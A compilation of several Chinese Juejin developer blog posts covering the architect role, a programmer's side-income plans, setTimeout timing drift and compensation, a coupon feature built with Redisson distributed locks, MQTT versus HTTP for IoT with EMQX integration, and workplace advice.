另外,架构师不仅需要理解业务,还得对涉及的技术领域有广泛甚至深入的知识。对于互联网行业的架构师而言,这包括从编程语言、算法、数据库,到网络协议、分布式系统、服务器、中间件、IDC等各个层面。简而言之,架构师既是技术团队的门面,也是解决外部技术问题的关键人。除了技术的广度,深度同样重要,架构师对关键技术模块的设计应具备权威性见解。这样的角色定位,要求架构师既是全面的技术探索者,也是业务领域的深度分析师。
3.2、组织和个人成长层面
架构师站在技术与业务的十字路口,不仅需要精通各自的语言,更要在沟通中架起桥梁。这意味着,架构师的能力远不止于技术深度,还包括能够以口头和书面(特别是通过标准化图表)的形式,清晰、准确地传达设计思路和决策逻辑。这样的沟通技巧对于确保团队成员、利益相关者和客户之间的顺畅交流至关重要。
架构师的工作本质上是一场不断的权衡和平衡艺术,涉及技术选型、团队合作方式、人才培养、任务分配,以及如何在商业需求与成本控制、产品需求与技术能力之间找到最佳匹配点。这种持续的权衡过程不仅展现了架构师的策略思维,也是他们价值的体现。与工程师的角色相比,架构师更需要适应并接受不完美的解决方案和在给定条件下的近似精确,这往往是因为现实世界的复杂性和资源的限制。
从工程师到架构师的转变,意味着从追求代码的完美到追求系统设计和决策的优化平衡。这个过程中,架构师需要发展出对业务敏感性,深入理解业务背后的逻辑和需求,并以此为基础设计出既符合技术发展又服务于业务目标的架构方案。同时,架构师还要在技术前沿不断学习和探索,确保所采用的技术方案既前瞻性又实用,能够支撑业务的长期发展。
来源:juejin.cn/post/7361752279718297652
当一个程序员决定脱下孔乙己的长衫
前言
Hi 你好,我是东东拿铁,一个正在探索个人IP的后端程序员。
在探索个人IP半年的时间里,自己利用业余时间学习写作,输出内容。
为爱发电半年了,我认为是时候做出点改变了。
行动、破除了一切焦虑
在起步之初,我就暗暗下定决心,在前半年的时间里,我不去思考如何变现,而是专注开阔眼界,锻炼写作能力。
上半年接触了很多做自媒体的朋友,很多都在做知识付费,各种各样的项目让人眼花撩乱,更是可以付费和他们学习。看着他们朋友圈不断发出的日入xxx、月入xxx的信息,说实话很难让人不心动。
当然,心动的同时,伴随你的一定还有焦虑。我加入了十几个群,群里面又不断的有着分享,一天需要看的消息内容可能有上千条。
正是自己给自己定下的锻炼写作能力的目标,和前半年不去思考如何变现的决定,让我在日常生活中,需要花大量的时间阅读、思考、输出,加上下班后还要看娃、看书,因此时间有限,做完该做的事情后,剩下的时间所剩无几,很多群、朋友圈我几乎没有时间去看了。
很庆幸自己给自己做了这个要求,不然我一定会在繁多的信息和项目中迷失自己。
行动,能够破除很多焦虑。
现在半年过去了,这段时间里,用心学习了不少东西,比如标题、框架、内容,最重要的是养成了持续输出的习惯,从自己过去的一些经历,到自己想要学习的东西,已经写了39篇文章,掘金的创作等级终于到了lv5,挺开心的。
复盘问题
半年时间,总结自己存在的问题,大概有两个点。
- 内容缺乏深度,主要是阅历不足,这个短时间内很难提升。
- 更新速度较慢,最快也需要集中精力两天,才能打磨好一个自己满意的文章。
我对自己输出的文章,是有自己的一个要求在里面的,比如不能标题党,内容框架要好,要有深度,还不能只罗列知识,要有自己的经历与感悟。
这导致我的输出速度较低,因为当你要讲明白一个观点、思维的时候,你一定会发现自己有不了解的地方,然后就要去重新学习、思考、整合。
但个人的见识、思维在短时间内不可能有突破性的提升,所以写出来的东西,一定只停留在我当下的能力阶段,吸引到的人也有限。自媒体就是要不断增加自己的更新速度,才能在这个信息爆炸的时代,吸引到更多人的注意力。
我还是蛮羡慕那些商业、技术大佬,能够吸引到几十万的粉丝,但如果按照目前的增长速度,错过平台红利期的我,或许几年后也无法积累这么多粉丝。
没有用户,没有这么多认可我的人,我做自媒体的目的:成为一个自由职业者,也就无法达到了。
现在,是时候去尝试一下,做一些能够赚钱的项目了。
脱下孔乙己的长衫
我决定深度参与一个项目,去做之前我认为没有价值的,写公众号爆文。
先介绍一下公众号爆文。
项目很简单,就是在公众号发布用户喜欢的内容,比如热点、公众人物、情感等文章,公众号平台会推荐,如果被推荐了,阅读量提升,你可以开通流量主,文章会自动插入广告,那么文中的广告,就会给你带来收益。
之前自己的一篇文章在1w左右阅读的情况下,收入大概在50元左右。文章在被推荐的情况下,如果达到10w+,单篇文章收入会在5、600左右,是一个门槛比较低的副业。
说实话,做这个决定很难,内心内耗的两个点:
- 对流量文这件事情,并不是很认可。我之所以用心去写每一篇文章,就是因为看过太多靠标题、热点,写出的没营养的文章了,我认为这完全就是在浪费每一个读者的时间。
- 如果仅看单篇文章的收益,我之前1w+阅读的文章,至少花费了我4、5天的业余时间,最终几十元的收益,对于一个程序员来讲,性价比极低,我瞧不上。
但我最近从思想上想清楚了上面的两个问题:
- 事实是最重要的。既然一些流量文能够达到10w+的阅读量,这正是代表了他符合用户、平台的需求。我或许觉着他毫无价值,但是有很多读者就是会认为阅读这类文章很爽,很休闲。毕竟不是谁都能踏下心来,在手机上阅读一篇大几千字满是干活的文章的。
- 我之所以瞧不上,是因为我认为收益较低。但这并不妨碍有不少人,通过大量的发布文章,可以每天都写出10w+的文章来,那么一天的收益至少在500以上,那么一个月至少破万。你看,当量积累到一个程度,那你很难忽视它能够达到的高度了。
而我现在遇到的问题,正好是无法获得更多的流量,无法提升自己的更新速度。结合我自媒体的方向,通过这个项目都可以打开我的思路,帮助我提升用户视角、提升效率。
所以,不能只是瞧不起那些只有流量、没有深度的流量文了,应该去尝试下场干干,而且我很笃定,这件事情,可以收获许多,不仅是在金钱,还有方法与认知。
说在最后
好了,文章到这里就要结束了。
所以你看,程序员想要在业余时间赚到一点工资以外的收入,其实真的挺难的, 不仅是行动上需要牺牲休闲、陪家人的时间,思维上面的卡点,一样重要。
但同时也很沮丧,或许务实主义确实是无数过来人想要告诉我们的真理。但是当自己不再这么的理想主义,我只能觉着我自己成熟了,但并不能感到高兴。
以上,就是我半年来的一个小小的复盘,与后续的计划。
来源:juejin.cn/post/7381349596637102089
setTimeout是准时的吗?
引言
最近在一些论坛上,有人讨论 setTimeout
的准确性。因此,我进行了探索,以解答这个问题。结果发现,setTimeout
并不完全可靠,因为它是一个宏任务。所指定的时间实际上是将任务放入主线程队列的时间,而不是任务实际执行的时间。
`setTimeout(callback, 进入主线程的时间)`
因此,何时执行回调取决于主线程上待处理的任务数量。
演示
这段代码使用一个计数器来记录每次 setTimeout
的调用。设定的间隔时间乘以计数次数,理想情况下应等于预期的延迟。通过以下示例,可以检查我们计时器的准确性。
function time () {
var speed = 50, // 间隔
count = 1 // 计数
start = new Date().getTime();
function instance() {
var ideal=(count * speed),
real = (new Date().getTime() - start);
count++;
console.log(count + '理想值------------------------:', ideal); // 记录理想值
console.log(count + '真实值------------------------:', real); // 记录理想值
var diff = (real - ideal);
console.log(count + '差值------------------------:', diff); // 差值
// 小于5执行
if (count < 5) {
window.setTimeout(function(){
instance();
}, speed);
};
};
window.setTimeout(function () {
instance();
}, speed);
};
打印1
我们可以在 setTimeout
执行之前加入额外的代码逻辑,然后再观察这个差值。
...
window.setTimeout(function(){
instance();
}, speed);
for(var a = 1, i = 0; i < 10000000; i++) {
a *= (i + 1);
};
...
打印2
可以看出,这大大增加了误差。随着时间的推移,setTimeout
实际执行的时间与理想时间之间的差距会不断扩大,这并不是我们所期望的结果。在实际应用中,例如倒计时和动画,这种时间偏差会导致不理想的效果。
如何实现更精准的 setTimeout
?
requestAnimationFrame
window.requestAnimationFrame() 告诉浏览器——你希望执行一个动画,并且要求浏览器在下次重绘之前调用指定的回调函数更新动画。
该方法需要传入一个回调函数作为参数,该回调函数会在浏览器下一次重绘之前执行,回调函数执行次数通常是每秒60次,也就是每16.7ms 执行一次,但是并不一定保证为 16.7 ms。
我们用requestAnimationFrame
模拟 setTimeout
function setTimeout2(cb, delay) {
const startTime = Date.now();
function loop() {
const now = Date.now();
if (now - startTime >= delay) {
cb();
} else {
requestAnimationFrame(loop);
}
}
requestAnimationFrame(loop);
};
打印3
貌似误差问题还是没有得到解决,因此这个方案还是不行。
while
想得到准确的,我们第一反应就是如果我们能够主动去触发,获取到最开始的时间,以及不断去轮询当前时间,如果差值是预期的时间,那么这个定时器肯定是准确的,那么用while
可以实现这个功能。
function time2(time) {
const startTime = Date.now();
function checkTime() {
const now = Date.now();
if (now - startTime >= time) {
console.log('误差', now - startTime - time);
} else {
setTimeout(checkTime, 1); // 每毫秒检查一次
}
}
checkTime();
}
time2(5000);
误差存在是 2
, 甚至为 0
, 但使用 while(true)
会导致 CPU 占用率极高,因为它会持续循环而不进行任何等待,会使得页面进入卡死状态,这样的结果显然是不合适的。
setTimeout 系统时间补偿
这个方案是在 Stack Overflow
看到的一个方案,我们来看看此方案和原方案的区别。
当每一次定时器执行时后,都去获取系统的时间来进行修正,虽然每次运行可能会有误差,但是通过系统时间对每次运行的修复,能够让后面每一次时间都得到一个补偿。
function time () {
var speed = 50, // 间隔
count = 1 // 计数
start = new Date().getTime();
function instance() {
var ideal=(count * speed),
real = (new Date().getTime() - start);
count++;
console.log(count + '理想值------------------------:', ideal); // 记录理想值
console.log(count + '真实值------------------------:', real); // 记录理想值
var diff = (real - ideal);
console.log(count + '差值------------------------:', diff); // 差值
// 5次后不再执行
if (count < 5) {
window.setTimeout(function(){
instance();
}, (speed - diff));
};
};
window.setTimeout(function () {
instance();
}, speed);
};
打印4
结论
多次尝试后,是非常稳定的,误差微乎其微,几乎可以忽略不计,因此通过系统的时间补偿,能使 setTimeout
变得更加准时。
来源:juejin.cn/post/7420059840971980834
开发了优惠促销功能,产品再也不汪汪叫了。。。
背景
大家好,我是程序员 cq。
最近快国庆节了,很多平台为了促销都开始发放优惠券,连上海都发放了足足 5 亿元的消费券,当知道这个消息的时候,我差点都忘了自己没钱的事了。
言归正传,我们 网站 也准备做一个优惠券的功能,正好借此机会给大家分享下我们是怎么做的优惠券,下面是某一次需求评审会的对话:
产品小 y:最近国庆节快到了,咱们网站也要像其他网站学习,给用户发放优惠券,把我们的价格打下来!
开发小 c:我才不做,你直接把会员价格下调不就好了?要啥优惠券,不做不做。
产品小 y:诶,你这个小同志,我下调价格是简单,但是我下调之后怎么统计有多少人看了我们的商品没买呢(转化率)?
开发小 c:你统计这个干什么,让用户感觉到优惠不就行了?
产品小 y:我统计转化率肯定是有意义的呀,我给不同的推广渠道发放不同的优惠券,可以得到不同渠道的转化率,如果有的渠道转化率很差,那我下次就不在这个渠道里推广了,有的渠道转化率很好,那我后面就要在这个渠道里加大推广量。还有就是我直接改价要手动改,假期人工改价格很难保证准时开始活动。
开发小 c:好像有道理啊,而且直接改价格也会让用户感觉平台的价格不稳定,价格经常变动,导致用户总是处于观望的状态。
技术方案
需求分析
既然上面需求评审确定了我们要做优惠券功能,那我们就要先梳理下我们要做什么东西。
首先就是优惠券的优惠能力,我们第一期就做的简单些,只用完成直减券,也就是购买会员的时候可以直接抵扣金额的消费券。当然实际上优惠券不光有直减券,还有满减券、折扣券等等,我们的网站也不需要那么复杂,能做一个直减券就够应对会员降价的功能了。
其次就是优惠券的开始时间和结束时间,便于控制优惠的开始时间和结束时间。
最后还有对应的使用条件,比如我们的优惠券只允许新用户使用,便于拉新,之类的。
那我们就可以确定这个优惠券只需要有减免价格、优惠券名称、开始结束时间以及使用条件就好了。
这时候网站运营同学听到我的喃喃低语,头突然伸过来。
他高呼:你这样可不行啊,光有这些可不够,我还要有优惠券的浏览量、领取量、使用量算转化率的嘞!
我心神一动,喔喔喔,那这样的话就可以做一个漏斗:浏览量 > 领取量 > 使用量,「使用量 / 领取量」就可以得到这个优惠券的转化率,也就知道了这个营销渠道的效果。
想到这里,我果断开口,好好好,就宠你。
具体实现
ok,我们确定了我们要做的内容,也就是要给会员商品做一个优惠券,其中要可以控制减免的金额、优惠券的浏览量、领取量、使用量、还有优惠券的开始时间、结束时间以及使用条件。
业务流程
明确了要做的需求,那么我们就可以确定下我们的整个业务流程:
技术实现
其实上述流程中最复杂的地方还是用户领取优惠券和使用优惠券购买后的处理逻辑,下面我带大家看下我们都是怎么做的。
首先我们要对领取优惠券做幂等,确保用户只在第一次领取优惠券的时候可以领取成功,后续的领取都返回已领取。要实现这个效果,我们需要对用户领取优惠券加锁,也就是下面这样:
String lockKey = "coupon_receive_lock:" + userId + ":" + couponId;
synchronized (lockKey.intern()) {
couponService.receiveCouponInner(loginUser, coupon);
}
但是由于我们公司是一个分布式的服务,所以本地锁其实是无效的,正好我们的服务用到了 redis,而且还引入了 redisson,那么就可以直接使用 redisson 的分布式锁,
String lockKey = RedisKeyConstant.COUPON_RECEIVE_LOCK + userId + ":" + couponId;
RLock lock = redissonClient.getLock(lockKey);
try {
lock.lock();
return couponService.receiveCouponInner(loginUser, coupon);
} finally {
lock.unlock();
}
但是这样写就太 low 了,我不如直接封装一个方法,让后续再使用分布式锁更方便:
public T blockExecute(String lockKey, Supplier supplier ) {
RLock lock = redissonClient.getLock(LOCK_KEY_PREFIX + lockKey);
try {
lock.lock();
// 执行方法
return supplier.get();
} finally {
lock.unlock();
}
}
这样,我们在使用分布式锁的时候就更方便了:
String lockKey = RedisKeyConstant.COUPON_RECEIVE_LOCK + userId + ":" + couponId;
return redisLockUtil.blockExecute(lockKey,
() -> couponService.receiveCouponInner(loginUser, coupon));
很好,在完成需求的时候又做了个基建工作,不愧是我。
其次就是在用户领取优惠券之后,我们的优惠券库存就应该对应的 -1,同时领取量对应 +1,那么这个 sql 就是这样的:
update coupon set leftNum = leftNum - 1, receiveNum = receiveNum + 1 where id = ?
这里可以确定数据不会出现混乱,因为在执行更新操作的时候,mysql 会有行锁,所以所有领取的用户都会在这里进行排队操作。
但是这样反而会出现问题,如果一瞬间领取优惠券的用户量激增,大家都在排队等库存量 - 1,就导致领取优惠券的时候用户会感觉很卡,也就是我们常说的热点行问题,不过像很多云厂商,都会针对热点行进行优化,比如某某云的 Inventory Hint 就可以实现快速提交 / 回滚事务,提高吞吐量,详细文章可以看下这篇文章:Inventory Hint,如果并发量真的很大的话,可以考虑用 redis 实现库存的 - 1,不过按照以往的经验来说不用 redis 也可以扛得住,这里就没必要再搞那么复杂了。
最后在领取优惠券之后,我们要接收来自支付中心的回调,根据用户的支付信息给用户赋予对应的会员权限,同时设置用户领取的优惠券为已使用,这样用户就不能再使用这个优惠券了,同时我们也可以关联查询到优惠券的使用量让运营同学进行分析。
了解领取优惠券的具体实现之后,后面的开发就简单了,这里就不再细说了,属于是商业机密了(其实就是代码写的太烂)。
优惠券到底带来了什么
优惠券的技术方案完成后,我们就应该深思一下,优惠券对我们来说到底有什么用,可以给我们带来什么好处?
对于用户而言自然是比之前便宜了许多,更省钱;用户觉得自己赚了,性价比高。
对于运营而言,可以对运营效果进行评估,比如销售变化、客户流失、获客成本等进而调整后续的营销活动;查看不同营销渠道表现,确定不同营销渠道优惠券效果;还可以利用历史数据预测未来的销售趋势,就像我们国庆节的优惠券就是参考了去年的优惠券使用情况来定的。
这也就是为什么运营同学会对优惠券这么痴迷了。
最后
通过这个优惠券功能的开发,其实大家也发现了,从最开始的直接改价到最后的优惠券,我们要做的不光是对商品的减免,还要做运营相关的功能。所以对于开发者而言,很多功能其实不仅要关注代码怎么写,更要考虑实现这个功能的意义,如果没意义,我就不用做了(bushi)。
了解功能实现的意义之后,我们身为开发就应该本能的想到,如何确定这个功能有多少人用,如何埋点,也就是为后续的运营计划以及后续的开发计划做准备。
来源:juejin.cn/post/7419598962346328105
MQTT vs HTTP:谁更适合物联网?
前言
随着物联网(IoT)技术的飞速发展中,其应用规模和使用场景正在持续扩大,但它关键的流程仍然是围绕数据传输来进行的,因此设备通信协议选择至关重要。
作为两种主要的通信协议,MQTT 协议和 HTTP 协议各自拥有独特的优势和应用场景:MQTT 完全围绕物联网设计,拥有更灵活的使用方式,和诸多专为物联网场景设计的特性;而 HTTP 的诞生比它更早,并且被广泛应用在各类非物联网应用中,用户可能拥有更加丰富的开发和使用经验。
本文将深入探讨在物联网环境下,MQTT 和 HTTP 的不同特性、应用场景以及它们在实际应用中的表现。通过对这两种协议的比较分析,我们可以更好地理解如何根据具体需求选择合适的通信协议,以优化物联网系统的性能和可靠性。
MQTT 是什么
MQTT 是一种基于发布/订阅模式的轻量级消息传输协议,针对性地解决了物联网设备网络环境复杂而不可靠、内存和闪存容量小、处理器能力有限的问题,可以用极少的代码为联网设备提供实时可靠的消息服务。
在典型的 MQTT 使用方式中,所有需要通信的客户端(通常是硬件设备和应用服务)与同一个 MQTT 服务器(MQTT Broker)建立 TCP 长连接。发送消息的客户端(发布者)与接收消息的客户端(订阅者)不需要建立直接的连接,而是通过 MQTT 服务器实现消息的路由和分发工作。
实现这一操作的关键在于另一个概念 —— **主题(Topic),**主题是 MQTT 进行消息路由的基础,它类似 URL 路径,使用斜杠 /
进行分层,比如 sensor/1/temperature
。订阅者订阅感兴趣的主题,当发布者向这个主题发布消息时,消息将按照主题进行转发。
一个主题可以有多个订阅者,服务器会将该主题下的消息转发给所有订阅者;一个主题也可以有多个发布者,服务将按照消息到达的顺序转发。同一个客户端,既能作为发布者,也能作为订阅者,双方根据主题进行通信,因此 MQTT 能够实现一对一、一对多、多对一的双向通信。
HTTP 是什么
HTTP 是一种基于请求/响应模式的应用层协议,尽管它主要针对传统的客户端-服务器架构而设计,但它在物联网应用中同样扮演着重要角色。
特别说明的是,本文对比的 HTTP 特指传统的请求/响应模式用例,基于 HTTP 协议扩展实现的 WebSocket 与 Server-Sent Events 协议不参与对比。
在典型的 HTTP 使用方式中,客户端(通常是浏览器或其他网络应用)向服务器发送请求以获取资源或提交数据,服务器接收到请求后,需要处理请求并返回响应,例如将提交的数据保存到数据库中,等待另一个客户端来请求获取。
HTTP 协议使用 URL 来标识资源路径,类似于 MQTT 中的主题(Topic)。例如,HTTP 请求中的 URL 可能是 http://example.com/api/sensor
,这与 MQTT 中的 sensor/1/temperature
主题有相似的分层结构。
HTTP 每次通信都通过独立的请求和响应流程完成,因此它需要额外的开销,并且两个客户端之间无法直接通信,在实时性上稍有欠缺。
资源消耗对比
MQTT 和 HTTP 都是非常简单的协议,许多物联网硬件设备和嵌入式系统都同时提供了对两者的支持。实时上资源体积与运行内存通常不会限制两者的使用,但 MQTT 设计初衷和使用特性是针对物联网设计,因此长期使用中,它具有更小的资源消耗。
首先,MQTT 在连接方面具有较低的开销。MQTT 将协议本身占用的额外消耗最小化,消息头部最小只需要占用 2 个字节,连接建立时的握手过程相对简单,可稳定运行在带宽受限的网络环境下。
一旦建立连接,客户端和服务器之间可以保持长时间的持久连接,多个消息可以在同一连接上传输,从而减少了频繁建立和断开连接的开销。以向 topic/1
主题发布 HelloWorld
内容为例,其报文信息如下:
字段 | 大小(字节) | 描述 |
---|---|---|
固定头部 | 1 | 固定为 0b0011xxxx |
主题长度 | 2 | 0x00 0x08 |
主题 | 9 | "topic/1" |
消息内容长度 | 2 | "HelloWorld"长度 |
消息内容 | 10 | "HelloWorld"内容 |
合计:24 |
HTTP 在每个请求-响应周期中都需要建立和断开连接,会带来额外的服务器资源使用。相对来说,HTTP 协议较为复杂,消息头部较大。同时,由于它是无状态协议,因此每次连接时客户端都需要携带额外的身份信息,这会进一步增加带宽消耗。
以向 http://localhost:3000/topic
URL 传输 HelloWorld
内容为例,在不携带身份凭证的情况下,其报文信息如下:
字段 | 大小(字节) | 描述 |
---|---|---|
请求行 | 17 | POST /topic HTTP/1.1 |
Host | 20 | Host: localhost:3000 |
Content-Type | 24 | Content-Type: text/plain |
Content-Length | 18 | Content-Length: 10 |
空行 | 2 | 用于分隔请求头和请求体 |
请求体 | 10 | HelloWorld 内容 |
合计:91 字节 |
总结:
- MQTT 的连接开销较低,连接建立简单,报文头较小,适用于需要频繁通信或保持持久连接的场景。
- 相比之下,HTTP 需要在每次请求-响应周期中建立和关闭连接,报文头较大,在网络带宽有限的情况下可能会增加传输延迟和负担。
在报文尺寸和连接开销方面,MQTT 通常比 HTTP 更为高效,特别是在需要频繁通信、保持长连接或网络带宽有限的物联网场景下。
安全性对比
MQTT 和 HTTP 两者都是基于 TCP 的协议,并且在协议设计上都充分考虑了安全性。
SSL/TLS 加密
两者都能支持通过 SSL/TLS 进行加密通信:
- 可以保护数据在传输过程中的机密性和完整性;
- 可以防止数据被窃听、篡改或伪造。
多样化的认证授权机制
- MQTT 提供了用户名/密码认证,可以扩展支持 JWT 认证,也支持客户端和服务器之间的 X.509 证书认证;在授权方面,可以支持基于主题的发布订阅授权检查,取决于MQTT 服务器的实现,。
- HTTP 则提供了更灵活的选项,包括基本认证(Basic Auth)、令牌认证(Token Auth)、OAuth 认证;可以通过应用层的权限控制机制,通过访问令牌(Access Token)、会话管理等来控制资源的访问权限。
物联网特性对比
MQTT 协议是专为物联网而设计的通讯协议,内置了丰富的物联网场景特性,能够有效地帮助用户实现设备间稳定可靠的通讯、实时数据传输功能,满足灵活的业务场景需求。
断线重连与持久会话
MQTT 支持持久连接和断线重连,确保设备与服务器之间的稳定通信,即使在网络不稳定的情况下也能保持连接。客户端可以选择是否创建持久会话,在断线重连时恢复之前的会话状态,确保消息不会丢失。
QoS 控制
MQTT 提供三种 QoS 等级:
- QoS 0:最多一次传递,消息可能会丢失。
- QoS 1:至少一次传递,消息可能重复。
- QoS 2:只有一次传递,消息保证不丢失也不重复。
客户端可根据需求选择适当的 QoS 等级,确保消息传递的可靠性。
多个客户端可以订阅相同的主题,接收相同的消息,适用于多个设备间共享数据或订阅相同事件的场景。
服务器可以保留指定主题最新的消息,当新的订阅者连接时立即发送,确保新订阅者获取最新数据。
客户端可以设置遗嘱消息,当客户端异常断开连接时,服务器会发布遗嘱消息,通知其他订阅者客户端已离线。
可以设置消息的过期时间,确保消息在一定时间内被消费,避免过期消息对系统造成不必要的负担。
尽管 HTTP 是 Web 应用中使用最广泛的协议之一,基于成熟的工具链和功能设计经验用户可以实现一些特性,但需要额外的开发工作。在物联网场景下,由于 MQTT 协议原生内置了许多适用于物联网的特性,使用 MQTT 可以降低开发成本,提高通信效率,更适合于物联网应用的需求。
对比总结
总而言之,MQTT 和 HTTP 在通信模型和物联网特性上有显著的区别:
- MQTT 基于发布订阅模型,HTTP 基于请求响应,因此 MQTT 支持双工通信。
- MQTT 可实时推送消息,但 HTTP 需要通过轮询获取数据更新。
- MQTT 是有状态的,但是 HTTP 是无状态的。
- MQTT 可从连接异常断开中恢复,HTTP 无法实现此目标。
- MQTT 支持更多开箱即用的物联网功能,HTTP 则没有针对性的设计。
这些差异将直接影响它们物联网中的使用场景选择:
- 实时通信: MQTT 在实时性要求较高的场景下更为适用。由于其基于发布/订阅模型,设备可以实时推送消息给服务器或其他设备,而不需要等待请求。例如,实时监测传感器数据、实时控制设备等场景下,MQTT 可以提供更快的响应速度。
- 轻量且频繁的通信: 对于带宽和资源有限的环境,MQTT 通常比 HTTP 更加高效。MQTT 不需要频繁建立连接,且消息头相对较小,通信开销较低;而 HTTP 同步的请求/响应模式则显得效率低下,每次通信都需要完整的请求和响应头,导致带宽和资源的浪费。
- 网络波动的场景: MQTT 支持客户端与服务器之间的持久连接,并且能够从连接异常中恢复,这意味着即使网络断开,设备重新连接后也能够恢复通信。而 HTTP 是无状态的,每次通信都是独立的,无法实现断线恢复。
另一个想法:MQTT 与 HTTP 集成使用
到目前为止,我们讨论的都是在物联网设备上更应该选择哪个协议的问题。实际上,在一个复杂的物联网应用中,不仅有硬件设备,还涉及到其他客户端角色和业务流程。MQTT 和 HTTP 作为物联网和互联网中最广泛使用的两种协议,在许多场景下可以互相补充使用,提高系统的效率和灵活性。
例如,在一个典型的车联网应用中,用户侧更适合使用 HTTP 协议:用户可以通过 App 中的"打开车门"按钮来控制停在车库中的汽车。这个过程中,App 与服务器之间并不是双向通信,使用 HTTP 也能实现更复杂和灵活的安全与权限检查。而服务器到车辆之间则依赖实时的双向通信:车辆需要确保任何时候都能够响应来自用户的操作。
车辆可以通过 MQTT 协议周期性的上报自身状态,服务器将其保存下来,当用户需要获取时,在 App 上通过 HTTP 协议完成请求即可。
在知名的 MQTT 服务器 EMQX 中,可以轻松、灵活地实现 MQTT 协议和 HTTP 协议的集成,从而实现这一过程。
EMQX 是一款大规模分布式 MQTT 物联网接入平台,为高可靠、高性能的物联网实时数据移动、处理和集成提供动力,助力企业快速构建物联网时代的关键应用。
HTTP → MQTT:
应用系统通过调用 EMQX 提供的 API,将 HTTP 请求转换为 MQTT 消息发送到指定设备,实现应用系统向设备发送控制指令或通知。
curl -X POST 'http://localhost:18083/api/v5/publish' \
-H 'Content-Type: application/json' \
-u '<appkey>:<secret>'
-d '{
"payload_encoding": "plain",
"topic": "cmd/{CAR_TYPE}/{VIN}",
"qos": 1,
"payload": "{ \"oper\": \"unlock\" }",
"retain": false
}'
MQTT → HTTP:
当设备发送 MQTT 消息到 EMQX 时,通过 EMQX 提供的 Webhook 可以将消息转发到 HTTP 服务器,实现设备数据的即时传输到应用系统。
配置界面如下:
在未来版本中,EMQX 还将提供提供扩展功能,能够将实时的 MQTT 消息保存到内置的消息队列(Message Queue)和流(Stream)中,并允许用户通过 HTTP 拉取的方式进行消费,更好地支持复杂的物联网应用场景,提供更强大的消息处理能力。
总结
总的来说,选择 MQTT 还是 HTTP 取决于具体的应用需求和场景特点。如果需要实时性好、双向通信、资源占用低的通信方式,可以选择 MQTT;只有简单的请求/响应通信,例如物联网客户端数据采集上报、主动拉取服务器数据,或者迫切希望使用现有的 Web 基础设施,那么可以选择 HTTP。
来源:juejin.cn/post/7423605871840608267
工作两年以来,被磨圆滑了,心智有所成长……
刚毕业时候年轻气盛,和邻居组的老板吵了几句。后来我晋升时,发现他是评委…… 曾经的我多么嚣张,现在的我就多么低调。
一路走来,磕磕绊绊,几年来,我总结了工作上的思考……
工作思考
- 有效控制情绪,在沟通时使用适当的表情包以传达善意。无论线上还是线下,都应避免争吵。只有和气相处,我们才能推动工作的进展。
- 在讨论具体问题之前,先进行一些预备性的交流。情绪应放在第一位,工作讨论放在第二位。如果对方情绪不好,最好选择另一个时间再进行讨论。
- 在与他人交流时要保持初学者的态度和需求,不要用技术去怼人。
- 进入新团队先提升自己在团队的业务能力,对整个系统有足够的了解,不要怕问问题和学习。不要新入职就想毁天灭地,指手画脚 ”这里的设计不合理,那里有性能瓶颈“。
- 在各个事情上,都要比别人多了解一点。对于关键的事情要精通,对于其他事情也要多花一点时间去投入。
- 遇到困难时,先自己思考和尝试解决,然后再请教他人。不要机械地提问,也不要埋头一直搞而不主动提问。但如果是新入职,可以例外,多提问总没有坏处,但要在思考的基础上提问。
- 当向他人求助时,首先要清晰地阐述自己正在面临的问题、目标、已尝试的方法以及所需要的帮助和紧迫程度。所有的方面都要有所涉及。在提问之前,最好加上一句是否可以帮忙,这样对解决问题是否有帮助更加明确。因为别
- 一定有时间来帮助你,即使有时间,你也不一定找对了人。
- 在明确软件产品要解决的业务问题之前,先了解自己负责的那部分与业务的对应关系。
- 主要核心问题一定要提前叙述清楚,不要等别人问
- 要始终坚持追踪事情的进展,与与自己有交互的队友讨论接口,并关注他们的进度,以确保协调一致。
- 要主动向队友述说自己的困难,在项目延期或遇到困难时,要主动求助同事或领导,是否能分配部分工作给其他人,不要全部自己承担。
- 如果预计任务需要延期,要提前告知领导。如果有进展,也要及时向领导汇报。
- 如果无法参加会议但是自己是会议的重要参与者,一定要提前告知领导自己的进度、计划和想法,最好以书面形式或电话告知。如果可以远程参加,可以选择电话参加。除非有极其重要的事情,务必参加会议。不要假设别人都知道你的进度和想法。
- 要少说话,多做事。在开会时,不要凭借想当然的想法,可以询问其他小组的细节,但不要妄自揣测别人的细节,以为自己是对的。否则会被批评。
- 程序员如果经验丰富,很容易产生自我感觉良好的情绪。要避免这种情况,我们必须使用自己没有使用过的东西,并进行充分的测试,这样才能减少问题的出现。要提前考虑好所有细节,不要认为没有问题就不加考虑。要给自己留出处理问题的时间,并及时反馈并寻求帮助。
- 当与他人交流时,要始终保持有始有终的态度,特别是当寻求他人帮助时,最后一定要确认OK。要胆大心细,不要害怕犯错,要有成果,要快速并提高效率,不择手段地追求快速,并对结果负责。工作一定要完成闭环,要记事情要好,记住重要的事情并使用备忘录记录待办事项。
- 每完成一个项目后,应该回顾一下使用了什么知识、技能和工具。要总结并记录下这些,并与之前积累的知识和技能进行关联。如果发生了错误,也要记录下来,并将经验进行总结。
- 每天早上先思考今天要做什么,列出1、2、3,然后每天晚上下班时回顾已完成的任务、未完成的任务以及遇到的问题。
- 如果有待办事项没有立即处理,一定要用工具记录下来,不要心存侥幸以为自己能记住。
代码编写和技术问题
- 在代码编写过程中要认真对待,对于代码审核之前,要自己好好检查,给人一种可靠的感觉。
- 对于代码审核,不要过于苛刻,要容忍个人的发挥。
- 在提交代码给测试之前,应该先自行进行测试验证通过。
- 如果接口没有做到幂等性,那就会给未来的人工运维增加困难。当数据存在多份副本时,例如容量信息和上下游同时存在的资源,需要评估数据不一致的可能性以及解决方法。可以考虑通过数据校准或严格的代码编写来保证最终的一致性,或者考虑只在一方保存数据或以一方的数据为准。一旦出现数据不一致,则以其中一方的数据为准,无需人为干预即可自动达到数据再次一致。
- 要学会横向和纵向分割隔离系统,明确系统的边界,这样可以更好地进行并发合作开发和运维,提高效率。各个子系统应该独立变化,新的设计要考虑向后兼容性和上下游兼容性问题,包括上线期间的新老版本兼容。在设计评审阶段就应该重视这些问题。
- 如果在代码审查中无法发现业务问题或代码风格问题,不妨重点关注日志的打印是否合理和是否存在bug。
- 在依赖某个服务或与其他服务共享时,要确认该服务是否要废弃、是否是系统的瓶颈,以及是否可以自己进行改造或寻找更优的提供者。
- 使用缓存时注意预热,以防止开始使用时大量的缓存未命中导致数据库负载过高。
- 在使用rpc和mq、共享数据库、轮询、进程间通信和服务间通信时,要根据情况做出选择,并注意不要产生依赖倒置。
